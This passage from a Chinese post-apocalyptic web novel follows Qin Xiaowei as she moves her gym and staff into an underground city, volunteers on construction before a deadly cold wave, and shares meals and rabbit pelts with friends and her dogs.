这几个月，宁市又新增了几波难民，安全屋不能加盖高层，市区也变得愈发拥挤了，但因为市政“杀鸡儆猴”的做法，后面这几批难民倒是比前两批难民安分很多。 看了几次枪杀死刑犯的直播后，有些人就算有什么小心思，也都藏得好好的，根本不敢露出来。 第103章 第103章地下城（双更合一）…… 这几个月,地下城一期工程陆续竣工了，在市政的安排下，宁市超过百分之七十的“原住民”都抽签搬去了地下城。 剩下那部分还没搬的,大多是因为之前犯了事,或是因为各种各样的原因被扣了公民信用分,公民信用分连60分都没有，被外地人抢先了,只能继续排队。 因为宁市的人越来越多,市政还在红浦区附近规划了地下城二期和三期的工程，和之前一样,干活只包吃喝，也算是变相为市里的普通人提供“工作岗位”了，让没有积蓄的普通人不至于饿死…… 在秦小薇的安排下,健身房的员工也在地下城申请了房子,但因为通勤时间太长，再加上那边的分店还没装修好，她们也就没搬过去。 秦小薇在地下城的分店已经通过申请了,现在正在装修，要是出现极端低温,公寓楼的健身房肯定得歇业一段时间,所以她暂时不打算再招员工。 秦小薇计划等这边歇业了，就把员工带去地下城上班，等低温结束了,再继续招人，让两家店同时营业。 店铺刚开始装修的时候，她就在网上发视频宣传了，很多粉丝都在问新店什么时候开始营业,所以分店开业后，应该不用担心客源的事…… 店里的员工不知道这事，还有人一直在打听店里招工的事，想把自己的师妹、学姐介绍来店里上班，秦小薇全都敷衍过去了，没给肯定的答案。 这天早上，秦小薇吃完早饭后，就牵着德牧去店里开门了，照例叮嘱了员工们几句，她就带着狗去了红浦区。 虽然德牧性格很安静，但要是出去玩 ，它也会很开心，秦小薇刚拉开副驾驶的门，它就熟练地跳了上去，乖乖蹲坐在副驾驶上，吐着舌头笑，等她上来开车。 这半个多月天天往这边跑，就算红浦区的地面依旧看不到多少标志性的建筑，秦小薇现在也不会迷路了。 在露天停车场停好车后，一人一狗就沿着指示牌进入地下通道，走了一段后，面前忽然出现了一间宽阔的大厅，大厅里人潮拥挤，前方是正在排队的黑压压的人头，她牵着德牧，站到了队伍的最后面。 这里虽然人很多，但是德牧并没有不适应的迹象，她接朔月回来已经好几个月了，除了之前有次碰到一对新人结婚放鞭炮它吓得“汪汪”叫，其他时候，它的情绪都很稳定。 秦小薇猜测，德牧当时的反应，应该就是警犬训导员说的“切换工作场景的时候，不能保持情绪稳定”，毕竟警犬得适应枪声、爆炸声等突发噪音，要是都像它这样，听到鞭炮声就吓得疯狂叫，是没办法好好执行任务的…… 正式入口这边有很多穿着军装的警察执勤，进地下城之前的流程，除了不需要安检，和之前进站坐火车差不多，得在机器上刷脸刷身份证。 正式入口很宽，大厅里放了二十多台机器，地下城这样的入口还有十几个，所以就算红浦区这边每天人流量都很大，也不需要排太久队。 除了进人的出入口，还有专门运送物资的出入口……几十万人齐心合力，半年多建成这么大一座地下城，秦小薇觉得，这已经能列入世界建筑史的奇迹了。 但国内，但凡这半年多没遭受太多天灾的城市，地下城都建得有模有样，Q省更是每座城市都有不止一座这样的大型地下城！ 算是复制粘贴的奇迹了…… 进去之后，她牵着德牧座扶梯去了地下城的城区——公租房这边很多人，和富人区那边不一样，这边带着狗坐直达的电梯会被嫌弃占地方，秦小薇坐过一次之后就再也不想坐第二次了，扶梯虽然要换乘，但不到十分钟就能到，也算方便。 经历过这么多次天灾后，现在养狗的人非常少，一路上，德牧吸引了不少人的注意，见它戴着嘴套，还有女孩子伸手偷偷摸它的毛。 德牧也很乖，有人偷偷摸它的毛，它就转头看一眼人家，既不嚎叫也不伸爪子，丝毫没有攻击对方的意思。 能通过公租房申请的市民，公民信用分最少都有60分，几乎没有违法犯罪的记录，这就筛掉了很大一部分人……所以秦小薇进入地下城后的状态还算放松，也没把电击棍拿出来防身。 除了没有日光、只有白炽灯、住房有些拥挤，地下城俨然就是一座现代化城市。 这里有商场、医院、银行、游乐场……甚至还有人工湖让普通市民散步、放松。 秦小薇的健身房开在一片商业区，楼下是商业街，楼上就是公租房，基本上每栋房子里都塞数百人。 他们到的时候，装修工人已经开始工作了，秦小薇把狗拴在门口，让它看门，自己则换了脏衣服、脏鞋子，跟着店里的装修工人一起干活。 很快，时间就到了中午，她正准备找地方坐下歇歇，就接到了范槿的电话。 范槿：“薇薇，你今天来地下城了吗？我们今天休假，咱们三个中午要不要聚一聚？听说E区那边有家炒饭很好吃，咱们去下馆子吧！” 秦小薇看了看时间：“行啊！我刚好就在E区这里，你们来找我？” “行！十分钟后到！”说完，范槿就挂了电话。 这几个月，范槿三人的生活也有了些变化，段霞如愿升职了，她甚至还申请到了条件更好的两人间搬了出去，但范槿和肖琳琳还在原地踏步，依旧只是巡逻队的普通成员。 范爸爸和范妈妈也申请到了地下城的房子，他们搬过来之后，范槿就找人换了房子，现在是他们一家和肖琳琳一起住一屋。 范槿还是喜欢拍视频剪视频，她视频的主题也不固定，大部分都是记录巡逻队的日常，但竟然意外地受到了不少网友的喜欢，这几个月，她的账号也涨了不少粉丝，她现在已经是四万粉丝的“小网红”了。 为此，巡逻队还让她兼职了宣传的工作…… 虽然四人分散了，但她们的感情却没变淡，几乎每天都会在群里聊天，或是分享白天听到的八卦或是吐槽工作，工作不太忙的话，她们一个月还会出来聚一两次餐。 挂了电话后，秦小薇脱掉外面沾了油漆的外套、鞋子，换成早上穿过来的羽绒服、雪地靴，牵着狗站在门口等人。 十分钟后，骑着自行车的三人在健身房门口停了下来。 秦小薇扫了眼她们屁股底下的自行车，随口问道：“饭饭，你换新车了？” 范槿：“这是我爸的，这边共享单车还没进来，我妈干脆就买了辆新的自行车给我爸代步，方便他上下班……” 地下城不比外面，这边空气流通性很差，油车只能停在地下城特定的区域，不能上路，只有电车和自行车可以上路。 三人刻意放慢了骑车的速度，秦小薇牵着狗和她们并排走着，四人一狗朝着炒饭店走去。 秦小薇问范槿：“叔叔的工作怎么样了？” 范槿：“挺好的，昨天还带了一袋子平菇回来加餐，我爸说等买到笋干了，再熬点笋丁蘑菇肉酱，薇薇，到时候我分你一罐……” 地下城除了住宿区，还有种植区，因为铺了地暖，就算外面温度很低，在各种科技手段的加持下，也能种出东西，因为把空间利用到了极致，各种作物的产量也很高。 种植区创造了一大批工作岗位，范妈妈和范爸爸闲着没事，就去报名了，几轮考试过后，当了几十年“家庭煮夫”的范爸爸成功被选上了。 范妈妈虽然有些失落，却也给了范爸爸百分之百的支持，还自我调侃，说自己当了半辈子女强人，终于也能“退休”体验一下被男人养的感觉了…… 虽然Q省已经半年多没出现破坏力很强的天灾了，但因为一直给外省“输血”，宁市的物资供应也没完全恢复。 但现在宁市的情况，也比其他省好很多，有些有门路的老板，已经能开餐饮店做生意了！ 肖琳琳：“薇薇，店里生意最近怎么样？你两头跑，会不会忙不过来？” 秦小薇摇头：“还行，总店那边又招了两个兼职，不怎么需要我操心，店里我总揽大局，定期给老板报账就行了……” 几人聊着天，很快到了炒饭店门口。 见德牧戴着嘴套，店里的服务员也没阻止秦小薇牵狗进去。 几人坐下后翻了下菜单，很快就点好了单，店里装修得很简单，看起来和暴雨之前街边的小馆子差不多，但菜单上的价格却不便宜。 秦小薇点了一碗菌菇蛋汤和一碗香肠炒饭，就花了99，段霞没点汤，只点了一碗炒饭，但也花了79，想要加葱加香菜加辣椒油，每样还得另外多加两块钱。 虽然店里的桌椅几乎都坐满了，但后厨的出餐速度很快，她们坐了不过几分钟，炒饭就上上来了。 秦小薇甚至有点怀疑，这些炒饭是不是提前炒好的预制炒饭…… 炒饭是用土豆大米和正常大米混合炒的，土豆大米大概占了三分之二，里面的配菜很多，切得很细碎，颜色很丰富，这让炒饭看起来很有食欲。 但土豆大米口感□□弹弹，完全不是秦小薇吃惯了的大米的味道，一口下去全是调味料的味道，吃起来很奇怪…… 20块一小碗的菌菇蛋汤倒是挺鲜的，不过里面的菌菇和蛋花都少得可怜。 放在天灾前，这样一份炒饭套餐，卖十五块都会有人嫌难吃给差评，但现在，店里的人却直呼好吃，每一粒米都没有浪费。 范槿：“调味料的味道太重了，我感觉还没有上次队里大厨做的蛋炒饭好吃！” 肖琳琳：“那必须的！上次那顿蛋炒饭是纯大米的，还是用猪油炒的……原材料就没法比！” 虽然几人都觉得这顿饭有点踩雷了，但赚钱不容易，她们还是把饭菜和汤都吃完了。 吃完饭之后，四人坐在 位置上聊了一会，直到服务员过来提醒她们外面有人在等座位，几人才结账离开。 秦小薇下午还要去店里干活，和室友们逛了一会，让她们撸了会德牧，就牵着狗回去了。 晚上回公寓后，秦小薇洗完澡就接到了陆昼的电话。 陆昼：“明天预警中心会发预警短信，外面可能会有点乱，你尽量别出门。” 秦小薇：“啊？这么快？” 陆昼：“还有很多人没被安排进地下城，上面开会之后，决定提前发预警短信……” 秦小薇：“为什么？” 电话那头的人有些沉默，并没有说话。 秦小薇：其他区的地下城都还没建好，提前这么久发预警短信，不会引起恐慌吗？难道市政要让那些公民信用分没达标的人自生自灭？所以让他们提前准备？ 简单聊了几句，秦小薇就挂断了电话。 第二天早上，秦小薇联系了地下城那边的装修工人，说自己今天不过去了，让他们照常干活。 九点整的时候，她的手机连着“叮”了几下，一下子收到了六条预警短信。 短信里提到，一个月之后，寒潮和暴雪将会来临，宁市的气温会一下子下降4、50℃，最低温可能会降到-45℃，低温持续时间不确定，让市民们尽量待在室内，做好保暖工作。 同时，地下城和移动物资车会上新各种保暖装备，有需要的市民可以持身份证前去购买…… 短信里还提到了，极寒天气该如何保暖、防止体温流失…… 预警短信发出来不到五分钟，同城APP上就炸了，那些因为公民信用分不够，还没在地下城申请到房子的普通人，纷纷要求市政开放名额，放他们进地下城避难。 毕竟安全屋那种铁皮房子，正常情况下住着还行，但要是遭遇了极寒天气，不说能不能抗住低温，光是暴雪，就可能把它给压塌了…… 而且市区的供电到现在都还没完全恢复，大部分地方都得靠太阳能发电板发电，要是出现了暴雪加极端低温，市区必然会断电。 市里和郊区的树木之前就死得七七八八了，这半年多的时间里，山上的枯树大半都被市里的居民砍了当柴烧，要是断电了，他们想上山砍柴取暖，都不一定能找到枯树枝！ 但其实，按照市政之前的规划，地下城一期工程的建筑面积，就足够容纳宁市所有的市民了，甚至还有空余。 但无奈上面一直往宁市塞人，宁市的总人口已经增加了一倍多，计划赶不上变化，所以才会有这么多人还“滞留”在外面。 地下城的公租房已经住满了，面对市民们的“抗议”，市政并没有开放名额，反而是号召还没住进去的普通人，加快施工速度，尽快完成其他区的工程…… 市政的公告，引起了不少市民的不满，有人质疑，觉得只有一个月的时间，他们完不成这么大的工程，毕竟除了建房子，其他的基础设施，比如说是水电暖气也都得跟上…… 还有人觉得市政就是想放弃他们，竟然开始组织人游行抗议！ 也有人积极“自救”，比如说去乡下“捡”间还没塌的小房子，自己动手改造成暖房，打算用之前囤积的物资熬过极寒天气。 更多的人则是在抢完了保暖物资后，就默默戴着安全帽去工地干活了，争取在寒潮到来之前，把地下城建好……他们觉得，就算寒潮来临的时候，地下城没有完全建好，他们能找间屋子住进去也是好的！ 预警短信也在员工中引起了轩然大波，不过大家都没什么恐慌情绪。 “还好之前店长说老板要在地下城开分店，没申请房子进出不方便，让我们申请了房子……” “主要还是老板给报销房租了，要不然为了省房租，我肯定不会申请！ “老板也太有先见之明了，她是不是有消息渠道啊？ “嘘，小声点！这事可不兴乱说！小心被人举报了！” “……” 移动物资车上新保暖装备的时候，健身房的员工也下楼抢购了一波物资，市政售卖的保暖装备价格都不贵，一件带帽子、可以裹到小腿的厚棉袄，防雨防水，只要一百三十五一件，一人限购两件，买大一点，都可以当被子盖了！ 加厚的保暖背心，三十五就能买到一件。 不过这些保暖装备的原材料基本上都是聚酯纤维，原本成本就不高。 除了衣服、鞋子，移动物资点还卖热水袋、保温杯…… 下面排队的人实在是太多了，秦小薇也就没去凑热闹，她打算等后面没人排队了，再下去买。 要是买不到的话……那就买不到吧！反正她也不缺这些东西。 外面游行的人太多了，范槿她们三个又开始加班了，一天24个小时，她们要上14个小时的班，连着忙活了五六天，才把事情平息下来。 预警短信发出来的第二天，秦小薇以为外面没那么乱了，就出门了，但车子开了没多久，她就碰到了一队游行抗议的市民，她卡在中间，既不能前进也不能后退。 他们举着或是手写或是刷着油漆的横幅，要求市政开放地下城，放大家进地下城避难…… 等游行队伍过去了，她的车上被贴了好几张宣传海报。 好不容易到了红浦区，她却发现地下城的入口也被一部分市民堵了，她根本就进不去！ 这趟出门实在是太糟心了，于是，接下来好几天，她都没再出门。 等外面的交通恢复了，秦小薇出去转了一圈，拉了一车兔皮回来。 秦小薇让员工们把兔皮搬上楼。 秦小薇：“这是老板从兔皮厂收来的，没加工过，你们拿回去分分，自己想办法加工一下，搞个护腰护膝帽子围巾什么的，保暖效果应该比外面买的好……” 员工们看到她拉回来的一车兔子皮都非常惊讶。 “咱们老板这是捅了兔子窝吗？之前天天给咱们发兔肉当员工福利，现在又弄了这么多兔子皮……” “有一说一，这毛的手感真不错！” “这是瑕疵品吗？这块怎么破了个洞的！” “我看看……破口不大，缝一下就好了！” “……” 这些兔皮，一部分是秦小薇动手处理的，还有一部分是陆昼找专业人士帮忙处理的。 兔子实在是太能生了，一个半月数量就能翻一倍，为了减缓它们的繁殖速度，她都开始把公兔子和母兔子分开关了。 真要是大包大揽，她一个人把活全干了，秦小薇觉得，她的手得废…… 晚上，秦小薇躺在床上刷手机的时候，看到市政发了一份倡议书。 这次，他们是呼吁全体市民加入到地下城的建设中来，和同胞们一起共渡难关，同时市政还把各个区地下城的建设进度公布出来了。 按照倡议书上所说，如果大家一起努力，他们是有可能在寒潮之前，把所有人都安排进地下城的。 倡议书言辞恳切，秦小薇看完之后，都想去工地当义工了。 看完倡议书之后，她给陆昼打了个电话，她知道陆昼现在肯定很忙，也没废话，对方接通电话后她就直奔主题：“陆昼，倡议书上说的是真的吗？大家都去帮忙，地下城就能如期建好……” 陆昼：“那只是理论情况……中间涉及的环节太多了，比如说，大部分人都是生手，很容易出岔子，还有，地下城建好之后，等水泥干透也需要时间……” 他说了很多，都是建地下城的时候可能遇到的困难，秦小薇越听越沮丧，但忽然，他话锋一转，继续开口道：“其实，要是建不成也没关系，之前建好的地方，塞一塞，也足够安置他们了。” 秦小薇：？？？ 秦小薇大为不解：“那为什么还要搞这一出？” 陆昼：“现在情况特殊，上面想把他们分开管理。” 分开管理？秦小薇想到了公民信用分的评判标准，很快明白了他话里的意思。 第104章 第104章回收利用（双更合一）…… 最开始选房子的那批人,公民信用分都比较高，换 句话说，不管能力如何,他们就算没为宁市做过贡献,至少明面上都是遵纪守法的好市民。 这些人现在基本上都在红浦区,相对来说，也比较好管理。 而现在还留在外面的,大部分都是只有60分基础分的外来者,或是连基础分都被扣了的劳改犯……对宁市的领导班子基本上没什么感情。 秦小薇：“你们想把人按照公民信用分分成三六九等？” 陆昼：“不算，只是有些人比较听话,社会贡献比较大，待遇自然要好一些。” 秦小薇：“……”那不就是她想的那个意思！ 挂断电话之后，秦小薇又研究了一下市政发的倡议书,最后选了一个地方,决定等地下城的分店装修好了，就去工地上帮忙干活。 虽然现在还滞留在外面的普通人大多数公民信用分都只有60分，但这并不意味着他们都是坏人,他们只是最近才从外地迁移过来，而市政又格外照顾本地人,让他们没机会提交申请而已…… 第二天早上,秦小薇去健身房转了一圈，就准备像之前一样，去地下城的分店盯着装修的事。 但她还没离开,就被一个教练叫住了：“店长，最近店里人流量比较差，我今天没预约，我今天可以请假先把一部分行李搬去地下城吗？早点把东西搬过去,我也安心一点……” 这几天，因为外面比较乱，外出的人都变少了，健身房的人流量也受到了影响。 “那床位我一直没去看过，我担心出问题，我昨天在网上看到一个人因为一直没搬过去，结果床位被一个偷溜进去的人占了，最后动了手才把人赶走……” 秦小薇想了想，回道：“方教练，你东西收拾好了吗？要是收拾好了，你直接坐我的车过去吧！要是没收拾好，我晚点包辆车，你再和大家一起搬……” 方教练连忙点头：“我昨天闲着没事，就把东西都收拾好了！” 说着，她就大步朝门外跑去。 在等方教练回来的这段时间，秦小薇和店里的其他人宣布了之后会安排大家一起搬家的事。 “薇薇，我们不着急，你把方唯依留在那就行了！” “对，有老方过去看家，我们放心得很！” “……” 因为秦小薇走了后门，员工们申请到的床位都连在一起，只要有一个人搬过去，就能帮其他人看着所有的床位。 方唯依的行李并不多，只有一个行李箱和一个大包，她一手一个，提得轻轻松松。 见此，秦小薇也就没去帮忙，直接牵着狗跟在她后面，和她一起下了楼。 原先公寓楼的住户很多都搬去地下城了，但现在楼里依旧有很多人——房子收回来之后，房东又把房子租出去了。 秦小薇看着人来人往的住户，觉得搬家的时候得搬得干净一点，要不然等人走了，店里的东西估计会被偷。 之前陆昼说低温会持续好几年，这几年会发生什么，还真的说不准…… 今天地下城的入口倒是没被群情激奋的市民堵住，两人一狗排了十几分钟的队，就顺利进去了。 方唯依之前没来过地下城，只在网上刷到过照片和视频，纵然手上提着两包行李，也不影响她好奇地四处打量着。 方唯依指着墙上的指示牌开口道：“店长，那边的种植区可以过去参观吗？” 秦小薇摇头：“没工作卡进不去。” 见她这么说，方唯依也不失望，转而看起了其他的地方。 方唯依：“店长，那边的喷泉怎么没开？” 秦小薇：“那是音乐喷泉，只有晚上的时候开。” 方唯依：“这里竟然有猪排店！好香啊！” 秦小薇：“但是很贵，一片炸猪排要199。” “……” 担心她第一次来找不到地方，秦小薇还照着房号把她送去了公租房。 公租房比外面的安全屋宽敞很多，不过白炽灯的光终究是比不上日光，就算是白天，公租房楼道里的光线依旧有些昏暗，不过屋里的灯光还算明亮。 长期不见阳光容易让人心情抑郁，为了减少这种影响，屋里装的都是仿太阳光的暖光灯。 屋里只有四张水泥砌的上下铺，其他的家具一应没有，这屋住的都是健身房的员工，因为大家都没搬过来，屋里此时空空荡荡的。 乍一看，还有些空旷。 公租房有独立浴室和厨房，但因为通风问题，屋里又没安抽油烟机，平时想做饭的话，只能煮点东西，否则烟排不出去，待在屋里会很呛。 浴室里有冷水表和热水表，虽然热水的价格有些贵，要一百多一吨，但总算是能解决普通人冬天洗热水澡不方便的问题。 秦小薇四处看了看：“下次搬家的时候，把你们屋里的柜子和桌子一起搬进来吧！要不然连个吃饭的地方都没有……” 方唯依转了一圈，就拿了抹布和脸盆，去洗手台接水擦水泥上下铺了，闻言回道：“确实，这里连个拖把都没有，不搬过来，就得花钱买新的了！” 方唯依要收拾的东西不多，见她自己一个人能搞定，秦小薇和她打了声招呼，就牵着狗去分店了。 装修材料之前就运过来了，外面爆发游行的这几天，店里的装修师傅一直没停工。 一个星期没来，秦小薇发现，健身房的装修进度已经快到尾声了，估计再过两天，器材就可以进场了！ 她照常把狗留在门口，换了衣服，就和大家一起干活了。 工人们已经快一个月没出去了，对外面的情况有些好奇，干活的时候，就和秦小薇聊起了外面的情况，她也没隐瞒，把大概的情况都说了。 一个装修师傅忍不住感叹道：“刚搬下来的时候，我老婆还觉得这地方不见阳光，住着不舒坦，不如以前的房子好，还说要把房子转租出去，赚个差价，没想到这么快就要大降温了，地下城的房子反而成了保命的东西……” 另一个装修师傅接话道：“这事我之前就猜到了，要不然，你说市政没事安什么地暖，咱们宁市的气候，哪用得上那东西！我二舅还跟我说地下湿气重，地暖是排湿的，排个屁的湿……” “就是，市政不干没用的事，他们肯定是早就监测到了降温的事……提前做准备呢！” “……” 一连忙活了几天，各种健身器材也进场了。 在宁市的原住民这里，市政的号召力还是很强的，倡议书发出来的第二天，就有很多人走出家门，带着工具去工地上干活了。 一些已经搬去了地下城的市民，在安顿好之后，也纷纷从地下城出来，去工地上干活。 至于那些一直不满的外来者，见市政真的不打算开放红浦区的地下城，也只能放下搞事的心，去工地上干活。 毕竟等低温真的来了，他们就算是想开工，也没机会了，到时候地都冻住了，说不定水泥还没抹上，就结成了冰坨子…… 因为几乎是全民投入地下城的建设，来健身房上课、锻炼的会员也少了许多，秦小薇干脆提前关门了，她先是安排了健身房的员工搬家，之后，又找人把店里的健身器材搬到了她自己准备的卡车上。 除了搬不走的电线、水管，店里和屋里，所有能拆下来的东西，都被她搬走了，就连她自己，也和狗一起搬去了地下城的别墅区。 那些东西都是她花钱买的，她担心放在店里没人看着，会被人偷了…… 不过东西她没存在地下城里，而是在空间里找了个地方放置它们。 现在大家都在忙着建地下城，分店就算开业了，估计也没什么人光顾，秦小薇觉得不是开业的好时机，干脆给员工们放了几天假，自己则去工地上帮忙干活。 店里的 员工知道这事之后，也纷纷响应，表示要去帮忙。 去工地干活的前一天晚上，秦小薇特地去空间里弄了点吃的，准备第二天中午吃。 现在宁市物资供应的种类越来越多，她空间里某些东西已经可以光明正大地拿出来了，她也不用再像以前那么小心翼翼的。 第二天早上天刚亮，秦小薇就戴上安全帽出发了，带着狗去工地上不方便，她便把德牧留在了别墅里。 这边很多人家里都请了保镖，出入比公租房那边查得还要严，街上还有持枪的警察巡逻，治安非常好，她也不担心把朔月一只狗留在家里会出事。 秦小薇离开地下城的时候，发现很多人和她一样，目的地都是其他区还未建好的地下城，天还没亮，路就被人潮堵住了。 可能是因为几乎全城的人都参与进来了，秦小薇到地方的时候，发现地下城的建设进度比前些天倡议书里公布的进度快了很多。 工地里的人比各种大型器械还要多，除了成年人，工地上还有很多未成年人，不过他们负责的都是后勤工作，危险的活，大人们是不敢让他们碰的。 因为有人管理，这边虽然人多，却不是特别乱。 秦小薇跟着路牌的指引，先去报到领活。 “会开挖掘机吗？”戴着安全帽的中年女人问她。 秦小薇摇头：“不会，但是我会砌墙，力气也很大，搬砖也没问题……” 中年女人打断了她的自我介绍，直接拿了块红色的牌子递给她，语速飞快地开口道：“拿着这个牌子，沿着这条路去那边找戴红帽子的，让他们给你安排活……下一个！” 秦小薇找到戴红色安全帽的工作人员后，对方问了她几个问题，就给了她一辆独轮车，安排她去搬砖了……说是搬砖也不准确，因为她搬的大部分东西，都是碎混凝土块。 地震之前，宁市的建筑材料就很稀缺，但要建地下城，没有钢筋水泥可不行，好在暴雨之前，官方之前就有所准备，甚至研发出了成熟的建材二次利用技术，还在各地开了厂，让各地建地下城的时候可以就地取材。 台风、冰雹结束后，废墟里的东西就被一车车拉去处理了，混凝土块被破碎筛分，制成再生骨料，用于建造地下城；钢材也被矫直、切割后二次加工，回炉重熔…… 可以说，现在的地下城，都是利用地震后废墟里的“垃圾”重建的。 虽然周围的人大多都不认识，但干活的时候，他们也能聊起来，秦小薇从众人口中知道了不少故事。 不过一个上午，她就认识了在洪水中失去了父母，辗转流浪到宁市的孤儿；失去了丈夫，独自一人带着女儿努力生活的单亲妈妈；经历了多次天灾，却依旧和家人幸福地生活在一起的中年大妈…… 工地的活很重，大家都很辛苦，但所有人都咬牙坚持着。 要是干累了，他们就找个地方坐着休息，然后互相打气、互相鼓励，等休息够了，拍拍屁股上的灰，再站起来继续干活…… 中午的时候，秦小薇还用自制的馒头肉夹馍，和其他人换了他们自己做的不同口味的土豆大米。 晚上的时候，秦小薇从员工群得知，社区的工作人员正在地下城的超市门口免费发放维生素D和钙片——人体内维生素D的合成主要靠晒太阳，但地下城不见阳光，长期居住，普通人可能会缺维生素D，从而导致钙的吸收出问题。 市政发放这些补剂，算是未雨绸缪了！ 看到群里的消息后，她立刻牵着狗去了附近的商场，打算把自己那份补剂领了。 但到了地方却被告知，富人区这边没有免费的补剂，她要是想要，要么去药店买上万块一瓶的“高档”钙片，要么去公租房那边和普通人一起排队领。 秦小薇：当她没看过网上的科普呢？这东西便宜的和贵的几乎没什么区别！ 她忽然觉得，富人区这边条件虽然更好，但是很容易被宰……毕竟有些商家，是专骗有钱人的！ 陆昼囤的药品里面，除了各种药，维生素片也不少，秦小薇出来领物资，也只是为了在系统里留下记录而已，见这边没有免费的物资点，她就牵着狗回家了。 之后几天，秦小薇几乎天天早出晚归，白天的时间，基本上都搭在工地上了。 随着时间的推移，那些还没进入地下城的普通人越来越着急，有人甚至不分昼夜地在工地上干活，就是为了推进进度，甚至还有人直接累晕在了工地上…… 但就像是陆昼之前说的那样，在低温到来之前，建好所有规划中的地下城只是理想情况，后面才开工的几座地下城并没能如期完工……但这一个多月，市民们的付出也不是没有收获的。 一个月的时间，他们完成了两个区地下城的建设，分别是很早就开始施工的江安区和人流量最大的南湖区。 不过这两个区地下城的面积都不大，那边一间公租房得塞十几个人，是红浦区这边的三四倍，也没有商业区、人工湖之类的娱乐区…… 虽然设施和面积都比不上红浦区的地下城，但至少有暖气有电，也有能量饼干和土豆大米售卖，普通人待在里面，不会饿死冻死。 降温的前两天，秦小薇又从空间里弄了半车兔皮出来。 这次，她是给三个室友送去的，她知道，暴雪来临之后，她们除了要巡逻，还得外出清理地下城入口、通风口的积雪。 要是江安区和南湖区那边出了事，她们有可能会被借调过去帮忙。 要说那边不会出事……秦小薇觉得不太可能。 工地上那几万劳改犯，全被关在江安区的地下城，这么多人聚在一起闲着不搞事……她用脚趾头想都知道不可能！ 三个室友拿到兔皮之后，并没有怀疑它们的来源，就是听到秦小薇说让她们用兔皮做衣服，几人都有些头大。 范槿：“上次我的作训服破了个洞，我都缝得歪歪扭扭的，做衣服……薇薇，你也太为难我了！” 肖琳琳：“拼个褥子在屋里用应该没什么问题，但我做的衣服，肯定穿不出去！” 秦小薇伸手点了下范槿的脑袋：“饭饭，你不行，不会找会做的人吗？去同城APP上发个帖子，找有经验的裁缝师傅，给点加工费不就行了！” 段霞：“行！那这些兔皮，我们就都收下了！” 于是，三人很快就把秦小薇带过来的兔皮分了。 送完了兔皮后，秦小薇就回别墅区了，最近这半个多月，不是在店里忙装修，就是在工地上干活，过两天，健身房的红浦区分店还得开门营业，她得回去好好歇一歇，养足精神。 但她刚在沙发上躺下，别墅的门铃就被人按响了。 秦小薇打开手机，看了下门口的监控，见是陆昼在敲门，她用脚推了下地上的德牧：“朔月，去开门！” 朔月非常聪明，让它帮忙开门、拿东西，它都能准确地完成指令。 德牧站起来抖了抖身上的毛，才朝门口走去。 它跳了起来，用爪子扒拉了一下门把手，用力往下压，大门就打开了，之后，它又跑进了院子里，如法炮制，打开了院子的大门。 动作非常熟练…… “汪——”院子里顿时热闹起来。 陆昼放拉布拉多和德牧在院子里玩，自己一个人进了客厅，看到秦小薇表情安详地瘫在沙发上，他挑眉：“生病了？” 秦小薇翻了个白眼：“你可别咒我！在工地搬砖太累了，我躺着歇会而已……你来找我什么事？” 陆昼自己找地方坐下了：“你空间里那几只羊，可以吃了吧？” 秦小薇回忆了一下：“看体型应该差不多了！你嘴馋了？” 陆昼：“不是，有个朋友来宁市了 ，他前段时间受了不少苦，他喜欢吃羊肉，我想杀一头给他接风洗尘……” 秦小薇点点头，也没问他是什么朋友，直接进空间里带了头羊出来，就又躺回沙发上去了。 不知想到了什么，她猛然坐了起来：“你就这么把羊牵出去，不会被人怀疑吧？需不需要我跑一趟给你送过去？” 陆昼摇头：“我回去的时候走后门，从你家大门到我家后门的这一段是监控死角。” 秦小薇放心地躺了回去：“行了，你可以走了！记得帮我把门带上！” 看着她的样子，陆昼摇了摇头，他牵起羊，就准备离开了。 但他还没出去，拉布拉多和德牧就前后脚跑进来了，拉布拉多目标明确，直接朝着沙发上的秦小薇扑去，它扑到她身上，对着她的脸就是一顿舔。 秦小薇一边护脸一边护胸：“香肠！快下去，我的肋骨要被你踩断了！” 直到拉布拉多从沙发上下去，她才松了口气，她坐起来，对着它的狗脸一顿蹂躏：“香肠，你是真对自己的体重一点数都没有啊！” “汪——”拉布拉多乖乖坐在地上，吐着舌头冲她笑。 没过多久，朔月的脑袋也凑了过来，不断用头蹭她的手心撒娇。 秦小薇直接把它抱进怀里：“怎么？我摸别的狗，你吃醋了吗？” 陆昼牵着羊在边上看了一会，见拉布拉多在这边玩得很开心，他就没把它带回去。 陆昼：“秦小薇，香肠在你这放一会，等它玩累了，你让它自己回家！” 秦小薇伸手冲他比了个“OK”的手势。 大约一个小时后，陷入睡梦中的秦小薇被一股霸道的孜然烤肉的味道香醒了，她吸了吸鼻子：好像有点香！等忙完这段时间，她也要弄点烤羊肉吃吃。 拉布拉多这个大馋狗，闻到烤肉的香气后，就抛弃秦小薇和它的小伙伴回家吃饭了。 秦小薇打了个哈欠，从沙发上坐了起来，准备进厨房做点吃的。 这边是富人区，她住的还是独栋别墅，她也不用像之前住公寓时那样，做点吃的都遮遮掩掩。 她刚把朔月的狗饭放进它的专用电饭煲里加热，门铃就响了。 第105章 第105章降温（双更合一）…… 秦小薇打开手机看了下外面的监控,是香肠，拉布拉多用两条后腿站立，前爪趴在大铁门上,正用鼻子费劲巴拉地戳她家的门铃。 它边上还放着一个篮子,显然,它是来送东西的。 秦小薇：送东西就算了，还得按门铃,真是难为它一条狗了！ 她随手盖上电饭煲的盖子,就出去开门了。 “汪——”秦小薇开门之后，拉布拉多立刻叼起地上的篮子,往她手里塞。 秦小薇翻了下，篮子里是用塑料袋装着的一整只羊腿，羊腿肉还带着羊身上的体温,非常新鲜。 看来陆昼这家伙还算有点良心,没忘了她的那份功劳……虽然这羊她几乎没操过什么心，全是机器人在管。 她收下篮子里的羊腿，给了拉布拉多半根鸭脖当跑腿费,又往篮子里放了一张便笺纸，告诉陆昼,东西已经收到了。 她拍了下拉布拉多的脑袋：“行了,东西收到了，你可以回去交差了！” 拉布拉多趴在地上，把秦小薇给的半根风干鸭脖啃完了,才叼着篮子离开。 回到厨房后，秦小薇从羊腿上切了一大块羊肉下来，切成大块串在铁签上，刷上酱料把它们送进空气炸锅里做烤羊肉。 很快,厨房的空气中就充斥着烤肉的香气…… 在等待烤肉熟的过程中，秦小薇又炒了盘包菜和花菜。 空气炸锅烤肉的速度比烤箱快很多，不过十几分钟，烤羊肉就熟了。 她把羊肉和炒菜端上桌，从仓库里拿出一盒提前煮好的米饭，就开始吃饭。 烤肉的香气实在是太霸道了，朔月叼着它的饭盆在秦小薇脚边转圈，哼哼唧唧地有些焦躁。 秦小薇拍拍它的脑袋：“朔月，别急，你那锅还没熟呢！” 